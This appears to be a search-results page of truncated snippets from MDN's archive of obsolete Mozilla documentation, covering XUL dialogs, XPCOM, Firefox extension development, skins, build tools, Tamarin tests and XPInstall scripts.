);"> <script src="chrome://..."/> <!-- Content --> </dialog> You need to implement onAccept and onCancel functions in your script. If they return anything but false, the dialog will be closed. Buttons in <dialog> Predefined There are six button types you can use in the buttons attribute of dialog. They are: accept -- OK button. cancel -- Cancel button. disclosure -- More Info button. help -- Help button (Doesn't work in Thunderbird 1.0 bug 256915) extra1, extra2 -- Two buttons without any predefined labels or meaning. extra2 is positioned at the left side of the dialog (by default). For each of these buttons you can set their label, accesskey and oncommand handler by adding buttonlabel<buttonname>, buttonaccesskey<buttonname> and ondialog<buttonname> attributes to the dialog el...
JS XPCOM - Archive of obsolete content
h access gives you the same COM object, often called a singleton). Whether you must create a new instance or access as a service depends on the contract. In order to get an XPCOM object you need to know the contract ID of the object and the interface that you wish to use on it. Creating an instance of a component The preferred method of creating XPCOM instances is via the Components.Constructor helper. For example, var nsFile = Components.Constructor("@mozilla.org/file/local;1", "nsIFile", "initWithPath"); var file = new nsFile(filePath); They can also be created and initialized manually: var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsIFile); file.initWithPath(filePath); This creates a new instance of the object ...
StringView - Archive of obsolete content
In the past, this had to be simulated by treating the raw data as a string and using the charCodeAt() method to read the bytes from the data buffer. However, this is slow and error-prone, due to the need for multiple conversions (especially if the binary data is not actually byte-format data, but, for example, 32...
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
irefox simultaneously, saving you oodles of time over the course of the build/test cycle. No Place Like Chrome Yippee-ki-yay! Now you have an extension that does, well, absolutely nothing. It's time to do something with those groovy components that you've implemented and registered. The simplest way to do this is to write some JavaScript and XUL code. At this point, it would be very helpful to have a bit of experience writing "regular" extensions (i.e. without using custom C++ components). If you've never done this, I strongly recommend that you think of a cool idea for something simple that you've always wanted to tweak in Firefox and write it. Just displaying a new menu item that opens a "Hello, World!" dialog box would be already be a great exercise to get warmed up with. ...
Enhanced Extension Installation - Archive of obsolete content
esirable complexity when saving data. It also makes it more difficult to support multiple instances of a single extension at different Install Locations due to the singleton nature of RDF resources. Extension metadata is structured and not relational in the sense encouraged by RDF, and so a simple text storage format is probably desirable. Making the database file format human readable would also help developers debug their installation problems. Footnotes The term "Extension" is used in this document to imply any item managed by the Extension Manager, including themes. The term "Firefox" is used in this document to imply any application built on XULRunner that uses the Extension System. Original Document Information Author(s): Ben Goodger Last Updated Date: April 18, 2005 Copyrig...
How to convert an overlay extension to restartless - Archive of obsolete content
typed array views are not endian-safe. This is incredibly stupid. You'd think such an important new JavaScript feature made available for web content and chrome alike would at least have a way to set and keep track of endianness, but no, it doesn't. Don't use any of the basic typed arrays for any data you did not earlier write into them in the same program session. Also, they're not particularly helpful if your data isn't all of the exact same type (which it probably isn't). The solution to read arbitrary binary data, of various sizes, in an endian-safe way, is to use DataView. The other typed array stuff is viable in Firefox 4+. This wasn't added until Firefox 15. If you were using nsIBinaryInputStream or anything similar, figuring out DataView will be fairly straightforward. Just read the ...
Jetpack Processes - Archive of obsolete content
t which point it is garbage collected. Handles have the following native methods and properties: invalidate() Invalidates the handle. Either process may invalidate a handle when it is no longer useful. createHandle() Creates a child handle which becomes invalid when its parent does. This is useful for associating handles to the lifetime of a particular window, context menu, or other element, and helping ensure that they do not leak. parent The parent handle of the object, if any. Read-only. isValid Whether the handle is still valid or not. Read-only. isRooted Whether the handle is GC rooted or not. Read-write. onInvalidate A callback to call when the handle is garbage collected, either through an explicit call to invalidate() or being unrooted and then unreachable. The callback is only called...
Listening to events in Firefox extensions - Archive of obsolete content
It also provides some use cases that may be of specific interest. ...
Appendix: What you should know about open-source software licenses - Archive of obsolete content
em for a web server, it's fine if you don't release it. Picking a license for original works If you are releasing source code you have developed yourself, you need to pick a license. But what kind of license? Yukihiro Matsumoto, the developer behind the Ruby scripting language, published a "free software license diagnostic" in his personal blog. It asks a series of questions, and your responses help you pick the right license. In brief, it goes like this: Best not to even try: Creating a new license for your own use -> Support is a nightmare. Do you hate the idea of your software ever being embedded in a commercial package? -> Choose the GPL. Do you enthusiastically support the Free Software movement? -> Choose the GPL. Do you want your code to be embedded in a certain OSS project? -> ...
Chapter 1: Introduction to Extensions - Archive of obsolete content
ns. About extensions Management using the Add-ons Manager Firefox's Add-ons Manager is an excellent way to manage extensions, and is a great step up in ease of use. ...
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
uage (IDL) is a language for giving standard definitions of objects, methods, and so forth. The XPIDL (Cross-Platform IDL) used by Mozilla is a partial extension to the CORBA IDL. You can perform a full-text search of the Firefox source code in Mozilla Cross-Reference using character strings, filenames, etc as search keys. If you're having trouble with any of the details of the interface, it is helpful to search on the source code for usage examples within Firefox. Note: To look at the Firefox 3 source code, choose "Firefox 3" in the Starting Points list. For Firefox 3.5 choose "Mozilla 1.9.1." For the current development trunk of Firefox, choose "Mozilla Central" and for Thunderbird, choose "Comm. Central". Calling XPCOM from XPConnect Use the XPConnect technology to use XPCOM in JavaS...
Adding Events and Commands - Archive of obsolete content
dcasters Keeping a consistent UI is another important aspect of extension behavior. Maybe your extension needs to disable or enable a series of controls when the user logs in or out of a service, or when Firefox detects it's online or offline. It's common that you need to change several elements at the same time, and this can be difficult to manage through JavaScript. The broadcaster element can help you out in these cases. First you need to add a broadcaster element to your XUL code, as a child of a broadcasterset element. <broadcasterset id="xulschoolhello-broadcasterset"> <broadcaster id="xulschoolhello-online-broadcaster" /> </broadcasterset> These elements are completely invisible, so you can put them anywhere. It is recommended that you have them at the top of the XUL code, along ...
Adding windows and dialogs - Archive of obsolete content
and prompt methods are the most customizable, allowing a great deal of options that cover most common dialog cases. Using the Prompt Service will save you a lot of XUL coding, and you'll be at ease knowing that you're using Mozilla's tried and tested code. The Dialog Element When the Prompt Service is not enough, you'll have to create you own XUL dialogs. Luckily, you still get a great deal of help from the platform if you use the dialog element as the document root instead of the more generic window element. You may be asking yourself what's the big deal about defining a simple XUL window with an OK and maybe a Cancel button. The dialogs we have covered in this section are very simple and shouldn't be too hard to implement manually using XUL. Well, it's more complicated than that. Differe...
Connecting to Remote Content - Archive of obsolete content
nvert XML into RDF. This was more useful when RDF was the default storage format. You can still use RDF as an intermediate format, though, and then use templates to generate XUL and display the data. HTTP debugging When you start debugging HTTP requests, you may find it hard to know exactly what data was sent, especially with POST data. We recommend you to use extensions like Tamper Data. They help you to track HTTP/HTTPS requests and responses occurring in Firefox. After installation, you can find a Tamper Data menu item in the menu bar: Tools > Tamper Data or View > Sidebar > Tamper Data Once you open the Tamper Data view, all requests and responses will begin to appear in it. You can discover some interesting things about Firefox like this, such as the automatic update URLs for ex...
Useful Mozilla Community Sites - Archive of obsolete content
necessary services such as bug tracking, source code repositories, download mirrors and many communication tools. There are other free hosting sites such as Souceforge and Google Code that are also very good, but not as specialized as Mozdev. You should pick the one that best fits your development needs. Conclusion That's it! This is the end of the XUL School Tutorial. Hopefully this guide has helped you get started with add-on development and you're on your way to joining the large Mozilla add-ons developer community. The sheer volume of material can be overwhelming, but you can always come back and use this tutorial as a reference for your future development. Now all you need is a good idea (in case you didn't have one already) and get started. Happy coding! << Previous This tuto...
Performance best practices in extensions - Archive of obsolete content
first time it's used. Look through the source for examples. Many common services are already cached for you in Services.jsm. Use asynchronous I/O This cannot be stressed enough: never do synchronous I/O on the main thread. Any kind of I/O on the main thread, be it disk or network I/O, can cause serious UI responsiveness issues. Never use synchronous XMLHttpRequests. NetUtils.jsm provides helpers for asynchronous reading and copying of files. Never access a SQLite database synchronously. Use the asynchronous API instead. Performing sequential, asynchronous operations can often be greatly simplified using Promises. Avoid mouse movement events Avoid using mouse event listeners, including mouseover, mouseout, mouseenter, mouseexit, and especially mousemove. These events happen with h...
Extensions support in SeaMonkey 2 - Archive of obsolete content
- goPopup goPopup Go menu popup placesPopup - - History menu popup bookmarksMenuPopup menu_BookmarksPopup menu_BookmarksPopup Bookmarks menu popup menu_ToolsPopup taskPopup taskPopup Tools menu popup - windowPopup windowPopup Window menu popup menu_HelpPopup helpPopup helpPopup Help menu popup URLbar Icons To display a button with a menupopup in the urlbar-icons for both Firefox and SeaMonkey 2.0, use this code: <hbox id="urlbar-icons"> <image popup="myExt-menu"/> </hbox> <window id="main-window"> <menupopup id="myExt-menu"> <menuitem label="menuitem"/> <...
Setting up an extension development environment - Archive of obsolete content
s solely to aid in debugging. In particular, add-ons should never change this preference. Note: The Error Console is disabled by default starting in Gecko 2.0. You can re-enable it by changing the devtools.errorconsole.enabled preference to true and restarting the browser. With this, javascript.options.showInConsole is also set to true by default. Development extensions These extensions may help you with your development. DOM Inspector, used to inspect and edit the live DOM of any web document or XUL application (Firefox and Thunderbird) Venkman, a JavaScript Debugger (Firefox version, Thunderbird version) Thunderbird Developer Tools, enables debugging Thunderbird remotely using using Firefox developer tools Extension Developer's Extension a suite of tools for extension development...
Add-ons - Archive of obsolete content
Mozilla add-ons. Other items are recommendations. The difference will be clearly flagged. Setting up an extension development environment This article provides suggestions for how to set up your Mozilla application for extension development. These details apply to Firefox, Thunderbird, and SeaMonkey (version 2.0 and above). Tabbed browser Here you should find a set of useful code snippets to help you work with Firefox's tabbed browser. The comments normally mark where you should be inserting your own code. Techniques ... ...
Creating a status bar extension - Archive of obsolete content
Next >> This is the first in a series of articles that will demonstrate how to create increasingly intricate extensions for the Firefox browser. Some of the samples in this series may be similar to samples you've seen elsewhere, but the goal of this series of articles is to help compile information for new extension developers into one place to make it easy to jump in and get started. Note: The extension created by this tutorial won't work in Firefox that don't have a static status bar (that is, Firefox 4 and up). You can find a more up-to-date tutorial in the XUL School tutorial The Essentials of an Extension. Many of the concepts introduced here apply to any XUL-based application; however, to keep from getting completely overwhelmed, we're going to focus specifically on Firef...
List of Former Mozilla-Based Applications - Archive of obsolete content
vely maintained. A list of actively maintained Mozilla-based applications is also available. ...
List of Mozilla-Based Applications - Archive of obsolete content
(Product was formerly known as Lombardi Teamworks) ...
Images, Tables, and Mysterious Gaps - Archive of obsolete content
ts even worse with small images, like ones that are one pixel tall, as illustrated in Figure 7. Now there's all kinds of space unexpectedly opening up. It's enough to drive a designer mad. How About a Fix? There is one obvious fix-- stop creating designs that are dependent on tables and sliced up or single-pixel images-- but it's not terribly practical for many designers, and it sure doesn't help fix old designs that are suddenly blowing apart in recent browsers. There's another obvious fix, which is to make sure your document doesn't trigger the "standards"rendering mode. You can do this by using a DOCTYPE that will trigger either "quirks" mode or "almost standards" mode, or not having a DOCTYPE appear in your document at all. The lack of a DOCTYPE will prevent validation, and so is not...
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
e AutoConfig job alone! That should work, just restart the process by setting a different USER variable (USER=procacci, USER=test etc... anyone in your LDAP directory...) to check multiuser AutoConfig. Thunderbird (previous release) Support of AutoConfig and LDAP Calls Below is a "try and catch" we had in previous release of Thunderbird where that feature wasn't compiled in by default, it can help if needed ... Unfortunately, the AutoConfig Option and LDAP Support for autoconfig (getLDAPAttributes) was not compiled in Fedora11 default thunderbird package (thunderbird-3.0-2.3.beta2.fc11.src.rpm) . So we needed to patch and recompile that source RPM (check bug 295329) ; patch: [root@b008-02 SOURCES]# cat thunderbird-autoconfigAndLdap.patch diff -ur thunderbird-3.0/configure thunderbird-3.
Kill the XUL.mfl file for good - Archive of obsolete content
mozilla again works correctly. With Quicklauncer (see above), mozilla's speed is actually quite adequate, even without XUL.mfl For these reasons, it is desirable to disable the XUL.mfl functionality. Unfortunately, there appears to be no "clean" way of doing so (javascript command in prefs.js or registry setting). But creating a subdirectory named XUL.mfl in mozilla's profile directory seems to help (mozilla is not smart enough to remove the directory before creating the file, thus the presence of the directory effectively disables this (mis)feature). N.B. It seems that as of version 1.5, the XUL.mfl file no longer is a problem, so this part may be skipped if you have a recent enough Mozilla version. ...
Compiling The npruntime Sample Plugin in Visual Studio - Archive of obsolete content
...
Conclusion - Archive of obsolete content
in your Mozilla browser (this works whether you load it from the web or from your local hard drive via a file:/// URL). Mozilla will automatically detect that the file is an installer and ask you if you want to install the software. Try installing the extension, restarting Mozilla, and see if it works. If the version you created in this tutorial doesn't work, compare it to this working version to help figure out the problem. Future directions for development of the tutorial and/or coursework: In addition to build status, Tinderbox also tells you if the CVS tree is open or closed for check-ins. How would you use JavaScript to determine whether the tree is open or closed and CSS to style the icon accordingly? Mozilla applications often store their CSS and image files in a separate skin subd...
Finding the code to modify - Archive of obsolete content
ing to add our tinderbox status UI. InspectorWidget The InspectorWidget extension adds a toolbar button and context menus for invoking the DOM Inspector (DOMi) for either chrome or content elements.Thus this makes it possible to save all the above DOM inspector user interface diggings. As a side note it would be good if the InspectorWidget additions were integrated directly in DOMi, that would help everyone. << PreviousNext >> ...
chrome.manifest - Archive of obsolete content
ng text and paste it into a text file, then save that file as "chrome.manifest": skin global My_Theme jar:chrome/My_Theme.jar!/global/ skin mozapps My_Theme jar:chrome/My_Theme.jar!/mozapps/ skin messenger My_Theme jar:chrome/My_Theme.jar!/messenger/ skin messenger-newsblog My_Theme jar:chrome/My_Theme.jar!/messenger-newsblog/ skin communicator My_Theme jar:chrome/My_Theme.jar!/communicator/ skin help My_Theme jar:chrome/My_Theme.jar!/help/ skin navigator My_Theme jar:chrome/My_Theme.jar!/navigator/ skin editor My_Theme jar:chrome/My_Theme.jar!/editor/ ...
Creating a Skin for SeaMonkey 2.x - Archive of obsolete content
Contents Getting Started ...
FAQ - Archive of obsolete content
make changes like this, they increase the skin version number. This is the number that is defined in contents.rdf. Test your skin with every major release of Mozilla. If a message appears in the preferences window telling you that it's an old skin, you're going to have to look over the code to see what changed. Developers try to keep changes like this to a minimum, but sometimes it just can't be helped. What is an Access key? An access key is a keyboard shortcut to access something. In the case of Skins the access key that you are defining is accessible by going to Edit->Preferences, Appearance->Themes, and then pressing a letter. C will select Classic and M will select Modern. ...
Using Dehydra - Archive of obsolete content
*/ function isFinal(c) { if (!c.attributes) return false; for each (let a in c.attributes) if (a.name == 'user' && a.value == 'final') return true; return false; } function process_type(t) { if (t.bases) for each (let base in t.bases) if (isFinal(base.type)) error("class " + t.name ...
Download Manager preferences - Archive of obsolete content
lse) in the browser window. Default value is true. browser.download.useDownloadDir A boolean value that indicates whether or not the user's preference is to automatically save files into the download directory. If this value is false, the user is asked what to do. In Thunderbird and SeaMonkey the default is false. In Other Applications the default is true. browser.helperApps.deleteTempFileOnExit A boolean value that indicates whether or not to delete the temporary file used by the Download Manager after the download is complete. On Mac the default value is false. On Other OSes the default value is true If a preference is not set when the Download Manager looks it up, the Download Manager assumes the default value but doesn't necessarily add th...
Drag and Drop JavaScript Wrapper - Archive of obsolete content
herefore used to insert the name of the file when files can't be dropped directly. A flavor object has a name, which is a formatted like a MIME type, such as 'text/unicode'. Within the onDragStart function, you specify what flavours are available for the item being dragged. To do this, add data and flavours to the transferData object, which is the second argument to onDragStart. An example should help here. The onDragStart function adds data to the transferData object. var textObserver = { onDragStart: function (event, transferData, action) { var htmlText = "<strong>Cabbage</strong>"; var plainText = "Cabbage"; transferData.data = new TransferData(); transferData.data.addDataForFlavour("text/html",htmlText); transferData.data.addDataForFlavour("text/unicode",plainText); ...
Extension Frequently Asked Questions - Archive of obsolete content
This is quick set of answers to the most common issues with extension development. They are currently written with mostly Firefox in mind, but most if not all should easily translate to SeaMonkey, Thunderbird or any of the other applications. For Thunderbird, you may also find the extension HowTo or FAQ pages helpful. If you're looking for a place to get started, try our tutorial, Building an Extension or MozillaZine's Getting started tutorial. Use the Extension Wizard to generate a template to start with. Be sure to set the development preferences. TODO: Add content. Where can I get more help? Please see Extensions:Other Resources and Extensions:Community. Before asking for help, be sure to set the debugging prefs and check the Error Console for related messages. Also, don't for...
Documentation for BiDi Mozilla - Archive of obsolete content
Overview of BiDi processing Bidi text is reordered according to the Unicode Bidi Algorithm (UBA). ...
Downloading Nightly or Trunk Builds - Archive of obsolete content
Note that this is an attempt at describing the current usage of these terms. This usage may change. Cutting edge Firefox downloads. As a development organization, the Mozilla community tends to describe things from the bottom up. So to figure out how to download a cutting edge or bleeding edge or 'beta' version of Firefox, you need to look for a "build" (which is developer-speak for the packaged files you can download) of 1.9.1 (the number of the underlying 'platform' called 'Gecko' or 'mozilla' that Firefox uses). ...
Layout FAQ - Archive of obsolete content
linux versions sysprof can also be used. also lists some profiles. How do you find out if there are any reflows that are pending and wait to show the view until afterwards, but if none are pending, show the view immediately? What is the best way to determine whether there are any pending changes? On the reflow branch you could check the DIRTY and DIRTY_CHILDREN framestate flags. That won't help with pending style changes, but it'll work to detect cases when the popup or something in it needs to be reflown. What are the lowercase items called "line"? Block(body)(1)@035FF490 {120,120,8820,600} [state=00000010] sc=035FF264(i=2,b=0)< line 035FFC18: count=1 state=inline,clean,prevmarginclean,not impacted,not wrapped,before:nobr,after:linebr[0x5100] {0,0,330,300} < Inline(span)(0...
Repackaging Firefox - Archive of obsolete content
all) for that preference. Therefore, if *all* of your preferences can use the same values, you do not need to include any properties files at all. Note that you must know which preferences are localizable and which ones aren't. See the MDC documentation for more information on them. Important Extension Preferences There is a small set of preferences which will be given to you by Mozilla. They help Mozilla track your distribution, and plan upgrades accordingly. They allow for upgrades to be delivered by Mozilla specifically for your distribution, if need be, and because of that they are the most important preferences you need to set. Mozilla will provide you with the values you will need here. Note that the app.partner.'name' setting uses the same value for both the name and the value of t...
Style System Overview - Archive of obsolete content
the style context's rule node for each rule that the element matches. Style context API The style context API allows data to be obtained through a set of structs (see nsStyleStruct.h). A struct for a style context can be obtained through nsIStyleContext::GetStyleData. nsIFrame::GetStyleData does the same thing for the frame's mStyleContext member, and the global ::GetStyleData is a typesafe helper that doesn't require the style struct ID. This style struct is always const, and should always be declared as such (evil old-style casts often used with the non-typesafe forms sometimes hide this error), since the struct may be shared with other elements. The rule tree As we call nsRuleWalker::Forward on all the rules that are matched, we build or walk along the rule tree. The rule tree ...
Firefox - Archive of obsolete content
Out-of-date information about the Firefox project. Downloading Nightly or Trunk BuildsThere are some terms that are used by the Mozilla community. One sees them on IRC or in bugs. It can be helpful to know exactly what these refer to. Note that this is an attempt at describing the current usage of these terms. This usage may change. ...
Isp Data - Archive of obsolete content
Tools needed The files are simple text files, in UTF-8 encoding, so use your favorite modern text editor. ...
Makefile.mozextension.2 - Archive of obsolete content
7} ###### define INSTALL_RDF <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <id>$(PROJECT_ID)</id> <name>$(PROJECT_NAME)</name> <version>$(PROJECT_VERSION)</version> <description>$(PROJECT_DESC)</description> <creator>$(PROJECT_AUTHOR)</creator> <contributor>Here is a place for you who helped me</contributor> <homepageurl>http://$(PROJECT).mozdev.org/</homepageurl> <optionsurl>chrome://$(PROJECT)/content/settings.xul</optionsurl> <abouturl>chrome://$(PROJECT)/content/about.xul</abouturl> <iconurl>chrome://$(PROJECT)/skin/mainicon.png</iconurl> <updateurl>http://$(PROJECT).mozdev.org/update.rdf</updateurl> <type>2</type> <targetapplication> <description> <id>{ec8030f7-c20a-4...
Metro browser chrome tests - Archive of obsolete content
ogic, plus the body of the test contained in run(). The test file can contain other functions which will be ignored unless invoked by test(). gTests make use of Promises and Tasks for managing execution. Test comparison functions used in metro browser chrome tests are identical to those supported by Mochitests, see how the comparison functions work in the Mochitest documentation for more details. Helper functions The EventUtils helper functions are available on the EventUtils object defined in the global scope. Additional metro specific test helpers can be found in /browser/metro/base/tests/mochitest/head.js. You may add additional common utils and helpers to head.js. Be careful about changing existing helpers as changes may impact tests in other libraries. Static content for tests Static cont...
Microsummary topics - Archive of obsolete content
Warning: Microsummary support was removed in Gecko 6.0 (Firefox 6.0 / Thunderbird 6.0 / SeaMonkey 2.3) Programmatically installing a microsummary generator To programmatically install a microsummary generator -- for example, in an extension that helps users create custom generators for their favorite sites -- obtain a reference to the nsIMicrosummaryService interface implemented by the nsIMicrosummaryService component, then call its installGenerator() method, passing it an XML document containing the generator. For example, the following code snippet installs the microsummary generator from the Creating a Microsummary tutorial: var generatorText = ' \ <?xml version="1.0" encoding="UTF-8"?> \ <generator xmlns="http://www.mozilla.org/microsummaries/0.1" \ name="Firefox D...
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
ges. Useragent sniffing makes sense in very limited cases where you really do want to know the exact browser in use, such as when you need to work around a bug in a specific version of a specific browser. For all other purposes you should check for the feature you need rather than the browsers you think will support that feature. ...
Mozilla Application Framework in Detail - Archive of obsolete content
al way and the XPIDL compiler can create header files, binary type libraries, documentation, and even generate stub C++ code for your component implementations. Tools including various XPCOM manager interfaces, smart pointers, special string classes, and an extensive collection of macros that make your C++ implementations easy to write and extend. A special base class, <tt>nsISupports</tt>, that helps manage object lifetime and reference counting. Sample component implementations you can extend and learn from. Documentation. Web Services Mozilla includes built-in support for popular web services standards XML-RPC, SOAP, and WSDL as well as a simple XMLHttpRequest object similar to the one in IE. All services are available from JavaScript code, which allows even simple XUL+JS applications t...
Overview of how downloads work - Archive of obsolete content
th an unknown content type, the other is to choose "Save link target as" from the context menu of a link. Things like File|Save Page as, Save Image As, etc. are all part of the second codepath. This document describes both codepaths (See below for the second one). Click on the images to display them "stand-alone" in the browser, which may resize them to fit the browser window. Downloads via the helper app service This diagram is an UML sequence diagram, and was created using dia. Get the .dia file here: mozilla_downloads.dia Downloads via "Save link target as" and friends This diagram is an UML sequence diagram, and was created using dia. Get the .dia file here: mozilla_downloads_path2.dia Original Document Information Author: Christian Biesinger ...
Porting NSPR to Unix Platforms - Archive of obsolete content
name of this file is the return value of <tt>uname -s</tt> on the platform, plus the file suffix <tt>.mk</tt>. If the return value of <tt>uname -s</tt> is too long or ambiguous, you can modify it in <tt>mozilla/nsprpub/config/arch.mk</tt> (the makefile variable <tt>OS_ARCH</tt>). <tt>mozilla/nsprpub/pr/include/md/_netbsd.cfg</tt> We have a program <tt>mozilla/nsprpub/pr/include/gencfg.c</tt> to help you generate partof this file. You can build the <tt>gencfg</tt> tool as follows: cd mozilla/nsprpub/pr/include gmake gencfg gencfg > foo.bar Then you use the macro values in <tt>foo.bar</tt> as a basis for the <tt>_xxxos.cfg</tt> file. <tt>mozilla/nsprpub/pr/include/md/_netbsd.h</tt>: For local threads only version, the main challenge is to figure out how to define the three thread context s...
BundleLibrary - Archive of obsolete content
staller bundled with Prism is available here - thanks to Lars Eric for his NSIS script) Meebo: meebo.webapp Miro Guide: miroguide.webapp Motor0: motor0.webapp useful webapp on maintenance and fuel consumptions managment Pandora: pandora@prism.app.webapp Internet radio that only plays music you like. reddit: reddit.webapp Remember The Milk: rtm.webapp (NOTE: Should work with Google Gears with some help) Rsizr Image Editor rsizr.webapp SeeqPod: seeqpod.webapp Playable music search engine. SlimTimer Client slimtimer.webapp a very useful time-tracking tool with a "slim" client SpagoBI spagobi.webapp a Web collaborative Business Intelligence platform Streamy streamy.webapp ( Streamy is a pretty powerful, next-gen online RSS feed reader. ) studiVZ: studivz.webapp Wassr: wassr.webapp Weightwatchers.c...
RDF Datasource How-To - Archive of obsolete content
The XPCOM registration parts and the "As of this writing, it is not currently possible to implement JavaScript XPCOM components" comment seem outdated didn't check the whole article. This document is a cookbook that describes how to create a native, client-side datasource that works with Mozilla's RDF implementation. It supersedes (and borrows from) the original document put together by Robert Churchill. What is a datasource? The "RDF universe" consists of a set of statements about Internet resources; for example, "my home page was last modified April 2nd", or "that news article was sent by Bob". ...
Space Manager High Level Design - Archive of obsolete content
e the area that the float used to occupy with the area that it now occupies: if different, record the vertically affected interval using nsSpaceManager::IncludeInDamage Use Case 3: Space Manager is used to find available space to reflow into The nsBlockFrame makes use of the Space Manager indirectly to get the available space to reflow a child block or inline frame into. The block frame uses a helper method on the nsBlockReflowState class to do the actual computation of available space based on the data in the Space Manager. Here is how it works for reflowing an inline frame within a block (this also occurs for reflowing a block frame and, partially, for preparing for a resize reflow). nsBlockFrame first frees all float information for the line that is being reflowed. GetAvailableSpace i...
Merging TraceMonkey Repo - Archive of obsolete content
l re-merge and lose all of the resolutions you've already performed. For each unresolved file (with a U next to it), open the file and find the conflict markers that look like <<<<<<. If it's obvious how to fix the conflict, just do it. Otherwise, you can run hg parents filename to find the changesets which may have contributed to the conflict. Inspecting the files at those two changesets can be helpful: hg cat -c changeset filename Once all the conflict markers are removed, you've performed the manual resolution, which you tell to mercurial by running hg resolve -m filename. Again, exercuse caution. Once you've resolved all the files, all the entries in hg resolve -l will have Rs next to them. Perform a build. If the tree does not build successfully you've likely merged something incorr...
Table Layout Regression Tests - Archive of obsolete content
n the table/bugs or block/bugs directory. Update the rtest.lst file in the corresponding directory in order to include your file. Additional Notes There is a special type of frame dumps - the printing regression tests, they are invoked by the -Prt command line argument to the viewer and include first a display then a frame dump taking into account the printer pages. Please contact if you need help with running those tests. I would like to thank Chris Karnaze for his guidance and fantasai for her language support. Original Document Information Author(s): Bernd Mielke Other Contributors: Boris Zbarsky Last Updated Date: February 5, 2007 Copyright Information: Portions of this content are (C) 1998-2007 by individual mozilla.org contributors; content available under a Creative Commons ...
Table Layout Strategy - Archive of obsolete content
200px"> and from the cells that belong into this column. These informations are very often conflicting. For instance one cell could have a large min width,the next could have a specified fixed width and another a specified pct width. For a given width type the maximum wins. Special cases Note: The following examples are not shown correctly due to technical constraints on wiki content. You can help by editing this page and adding screenshots or links to example pages. width = "0*" Assume that you would like to give all the space to the second column in a table. Poor mans choice is leave the first cell auto and specify 100%on the second one (this works cross-browser) <tbody></tbody>foobar <table width="200px" border> <tbody> <tr><td>foo</td><td width="100%">bar</td></tr> </tbody> </t...
Abc Assembler Tests - Archive of obsolete content
It is possible to write tests using the abc assembler. The assembler code can be found in /utils/abcasm. Tests can be found in /test/acceptance/abcasm and end with the .abs extension. The tests are run using the same runtests.py script that is used for the actionscript tests. ...
Actionscript Performance Tests - Archive of obsolete content
erval is the calculated percentage of the mean value to fall within 95% of the measured results. For example if the mean is 100 and the 95% confidence interval is 2%, 95% of the expected values should fall between 98 and 102. To compare two vms against each other export AVM2=<path to 2nd vm> or use --avm2=<path to 2nd vm>. The percentage difference is calculated between the two vms. See the --help usage for more details about performance tests. # to run a group of tests (e.g. sunspider) $ ./runtests.py sunspider/*.as sunspider/as3/*.as test avm metric sunspider/access-binary-trees.as 584 time sunspider/access-fannkuch.as 364 time ... # to set vm args (e.g. interp) $ ./runtests.py --vmar...
Tamarin build documentation - Archive of obsolete content
uiltin.h builtin: 26795 Files: 6 Time: 1709ms You can now use asc.jar to compile applications. $ cd tamarin-central $ echo 'print("hello, world")' > hello.as $ java -jar ./utils/asc.jar -import ./core/builtin.abc hello.as hello.abc, 86 bytes written Use the AVMPlus standalone executable (avmshell) built previously to run the application: $ avmshell hello.abc hello, world Use the -help options of asc.jar and avmshell for more details. Running Tamarin Tests See Running Tamarin acceptance tests and Running Tamarin performance tests Building Tamarin Windows Mobile utilities The Tamarin Windows Mobile utilities allows the existing acceptance and performance testsuites to be run on a Windows Mobile device connected to a Windows desktop machine by ActiveSync or Windows Mobile Dev...
Uriloader - Archive of obsolete content
Uriloader: Responsible for the dispatch of content to content handlers as it comes in from the network. ...
[Deprecated] The Mozilla build VM - Archive of obsolete content
Mozilla build VM is no longer maintained or supported. Thanks to significant improvements in our build environment setup process, it's much simpler and easier to get set up and stay up to date by starting with Building Firefox instead. Other links of interest may include: Developer guide (documentation about developing on and for Mozilla projects). Mentored bugs have a mentor who commits to helping you every step of the way. Generally, there should be enough information in the bug to get started. Whenever you need help, contact the mentor via Matrix, in the bug itself, or by email. When you've completed the bug, they will help you get your code into the tree. "Good" first bugs may be a little stale, but at some point in their lives we considered that they would be a good first step for ...
Video presentations - Archive of obsolete content
Architecture These presentations provide an architectural overview of the codebase. How pages are built using the DOM This presentation describes how documents are loaded and the DOM tree is constructed. (as QuickTime; 198 MB) Laying out and drawing documents (slides) This presentation describes how a document is laid out and painted to the display by the Gecko engine. ...
When To Use ifdefs - Archive of obsolete content
e suite, standalone composer, and thunderbird, but it is considered application-specific. The code in xpfe/ (except for xpfe/appshell/ and xpfe/components/shistory/) is a hodgepodge mess of "toolkit" and "application-specific" code. This code is all going to be moved elsewhere (most of it to toolkit/ or suite/), but for the time being most application-specific ifdefs are allowed because we can't help it. If you're not sure, ask Benjamin Smedberg. For an example of an application-specific ifdef that is bad and should be removed, see nsNativeAppSupportWin.cpp. Types of ifdef There are two major types of ifdef: preprocessor ifdefs and makefile ifdefs. Preprocessor ifdefs are generally easy to spot: in C, C++, and plaintext preprocessed code there will be an #ifdef or #if instruction. Makefil...
Creating XPI Installer Modules - Archive of obsolete content
compressed and uncompressed versions of the UI, though you can change this when you build Mozilla yourself. chrome/ US/ US.jar chatzilla/ chatzilla.jar chrome.rdf chromelist.txt classic/ classic.jar comm/ comm.jar content-packs/ content-packs.jar embed-sample/ embed-sample.jar en-US/ en-US.jar en-mac/ en-mac.jar en-unix/ en-unix.jar en-win/ en-win.jar help/ help.jar inspector/ inspector.jar installed-chrome.txt messenger/ messenger.jar ... In addition to these JAR files, there are also several new RDF files. These new files represent a redesign of the way that the Mozilla UI is packaged and installed. Though the chrome directory still includes subdirectories of uncompressed files by default, a new way to aggregate and distribute the ...
Install script template - Archive of obsolete content
ndaryInstall = 1; // error return codes need some memory var err; // error return codes when we try and install to the current browser var errBlock1; // error return codes when we try and do a secondary installation var errBlock2 = 0; // global variable containing our secondary install location var secondaryFolder; //Special error values used by the Cycore developers (www.cycore.com) who helped make this install script var exceptionOccuredError = -4711; var winRegIsNullError = -4712; var invalidRootkeyError = -4713; var registrykeyNotWritableError = -4714; //initInstall block //the installation is initialized here -- if we fail here, cancel the installation // initInstall is quite an overloaded method, but I have invoked it here with three strings // which ...
Using XPInstall to Install Plugins - Archive of obsolete content
